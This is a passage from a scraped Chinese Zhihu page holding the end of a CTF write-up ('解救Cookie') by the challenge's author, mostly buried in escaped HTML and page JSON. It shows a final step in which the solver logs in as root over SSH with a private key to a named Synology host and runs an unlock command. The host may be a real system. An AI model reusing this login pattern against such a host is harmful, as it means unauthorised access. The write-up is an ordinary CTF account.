class=\&highlight\&\u003E\u003Cpre\u003E\u003Ccode class=\&language-text\&\u003E\u003Cspan\u003E\u003C\u002Fspan\u003Etest@elknot360corpsec: $ ssh -i id_rsa root@sweeperssl.synology.me -p 913\nadmin@DC012:#\nadmin@DC012:# echo unlock & \u002Ftmp\u002Fflag\u002Flockcommand\n\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003C\u002Fdiv\u003E\u003Cp\u003EOK Cookie就被放出来了:)\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cfigure\u003E\u003Cimg src=\&https:\u002F\u002Fpic1.zhimg.com\u002Fv2-399c0f649ed11c409186_b.jpg\& data-rawwidth=\&1440\& data-rawheight=\&1080\& class=\&origin_image zh-lightbox-thumb\& width=\&1440\& data-original=\&https:\u002F\u002Fpic1.zhimg.com\u002Fv2-399c0f649ed11c409186_r.jpg\&\u003E\u003C\u002Ffigure\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003EFinally: 大家千万不要给我寄刀片,有话我们可以好好说,facepalm.png\u003C\u002Fp\u003E\u003Cp\u003E\u003C\u002Fp\u003E&,&state&:&published&,&sourceUrl&:&&,&pageCommentsCount&:0,&canComment&:false,&snapshotUrl&:&&,&slug&:,&publishedTime&:&T10:48:35+08:00&,&url&:&\u002Fp\u002F&,&title&:&ISC2017 DEFCON GROUP 解救Cookie Write-Up&,&summary&:&0x00:写在前面实不相瞒这题是我出的,因为帮基友捧场外加想试一下出题,所以出了这么一道题给大家,结果由于本人13号还有一个topic在大数据与威胁分析论坛,最后导致柴总爱犬被多关了24个小时,本人对此深表歉意。还有各位大佬表哥表姐先别着急给我寄刀片…&,&reviewingCommentsCount&:0,&meta&:{&previous&:null,&next&:null},&commentPermission&:&review&,&commentsCount&:10,&likesCount&:20}},&annotationDetail&:null,&commentsCount&:0,&likesCount&:15,&FULLINFO&:true}},&User&:{&elknot&:{&isFollowed&:false,&name&:&elknot&,&headline&:&我已委托“维权骑士”(http:\u002F\u002Frightknights.com)为我的文章进行维权行动\n\nSenior Security Researcher of Qihoo 360 ESG\nSpeaker on ISC2017, DEFCON Group\nB.S. Degree in Computer Science\nFocus on Applications of Threat Intelligence Hierarchy and Advanced Threat Analysis Research&,&avatarUrl&:&https:\u002F\u002Fpic2.zhimg.com\u002Fv2-1ff21fd0afdaf9da0a1c12_s.jpg&,&isFollowing&:false,&type&:&people&,&slug&:&elknot&,&bio&:&喜欢把打黑产编成故事讲给大家听的安全研究员&,&hash&:&f4bbcf2d2a35e92c5c5d22b&,&uid&:112400,&isOrg&:false,&description&:&我已委托“维权骑士”(http:\u002F\u002Frightknights.com)为我的文章进行维权行动\n\nSenior Security Researcher of Qihoo 360 ESG\nSpeaker on ISC2017, DEFCON Group\nB.S. Degree in Computer Science\nFocus on Applications of Threat Intelligence Hierarchy and Advanced Threat Analysis Research&,&badge&:{&identity&:null,&bestAnswerer&:null},&profileUrl&:&https:\u002F\u002Fwww.zhihu.com\u002Fpeople\u002Felknot&,&avatar&:{&id&:&v2-1ff21fd0afdaf9da0a1c12&,&template&:&https:\u002F\u002Fpic2.zhimg.com\u002F{id}_{size}.jpg&},&isOrgWhiteList&:false,&isBanned&:false}},&Comment&:{},&favlists&:{}},&me&:{},&global&:{&experimentFeatures&:{&ge3&:&ge3_9&,&ge2&:&ge2_1&,&navi&:&1&,&growthSearch&:&s2&,&nwebQAGrowth&:&experiment&,&qawebRelatedReadingsContentControl&:&close&,&liveStore&:&ls_a2_b2_c1_f2&,&nwebSearch&:&nweb_search_heifetz&,&vdlc&:&e&,&rt&:&y&,&isOffice&:&false&,&enableTtsPlay&:&post&,&newLiveFeedMediacard&:&new&,&newMobileAppHeader&:&true&,&androidPassThroughPush&:&all&,&hybridZhmoreVideo&:&yes&,&nwebGrowthPeople&:&default&,&nwebSearchSuggest&:&default&,&qrcodeLogin&:&qrcode&,&enableVoteDownReasonMenu&:&enable&,&isShowUnicomFreeEntry&:&unicom_free_entry_off&,&growthBanner&:&default&,&newMobileColumnAppheader&:&new_header&,&androidDbRecommendAction&:&open&,&biu&:&1&,&info&:&1&,&androidDbFeedHashTagStyle&:&button&,&appStoreRateDialog&:&close&,&mobileFeedGuide&:&block&,&default&:&None&,&isNewNotiPanel&:&no&,&biua&:&1&,&zcmLighting&:&zcm&,&adR&:&b&,&wechatShareModal&:&wechat_share_modal_show&,&uRe&:&0&,&androidProfilePanel&:&panel_b&}},&columns&:{&next&:{},&binandhex&:{&following&:false,&canManage&:false,&href&:&\u002Fapi\u002Fcolumns\u002Fbinandhex&,&name&:&关于二进制和查户口的那些不得不说的事儿&,&creator&:{&slug&:&elknot&},&url&:&\u002Fbinandhex&,&slug&:&binandhex&,&avatar&:{&id&:&v2-2b7b1c497e755b50ff7cb&,&template&:&https:\u002F\u002Fpic2.zhimg.com\u002F{id}_{size}.jpg&}}},&columnPosts&:{},&columnSettings&:{&colomnAuthor&:[],&uploadAvatarDetails&:&&,&contributeRequests&:[],&contributeRequestsTotalCount&:0,&inviteAuthor&:&&},&postComments&:{},&postReviewComments&:{&comments&:[],&newComments&:[],&hasMore&:true},&favlistsByUser&:{},&favlistRelations&:{},&promotions&:{},&switches&:{&couldSetPoster&:false},&draft&:{&titleImage&:&&,&titleImageSize&:{},&isTitleImageFullScreen&:false,&canTitleImageFullScreen&:false,&title&:&&,&titleImageUploading&:false,&error&:&&,&content&:&&,&draftLoading&:false,&updating&:false,&globalLoading&:false,&pendingVideo&:{&resource&:null,&error&:null}},&drafts&:{&draftsList&:[],&next&:{}},&config&:{&userNotBindPhoneTipString&:{}},&recommendPosts&:{&articleRecommendations&:[],&columnRecommendations&:[]},&env&:{&edition&:{&baidu&:false,&yidianzixun&:false,&qqnews&:false},&isAppView&:false,&appViewConfig&:{&content_padding_top&:128,&content_padding_bottom&:56,&content_padding_left&:16,&content_padding_right&:16,&title_font_size&:22,&body_font_size&:16,&is_dark_theme&:false,&can_auto_load_image&:true,&app_info&:&OS=iOS&},&isApp&:false,&userAgent&:{&ua&:&Mozilla\u002F5.0 (compatible, MSIE 11, Windows NT 6.3; Trident\u002F7.0; rv:11.0) like Gecko&,&browser&:{&name&:&IE&,&version&:&11&,&major&:&11&},&engine&:{&version&:&7.0&,&name&:&Trident&},&os&:{&name&:&Windows&,&version&:&8.1&},&device&:{},&cpu&:{}}},&message&:{&newCount&:0},&pushNotification&:{&newCount&:0}}

我要回帖

更多关于 恶意代码攻击手机震动 的文章

 

随机推荐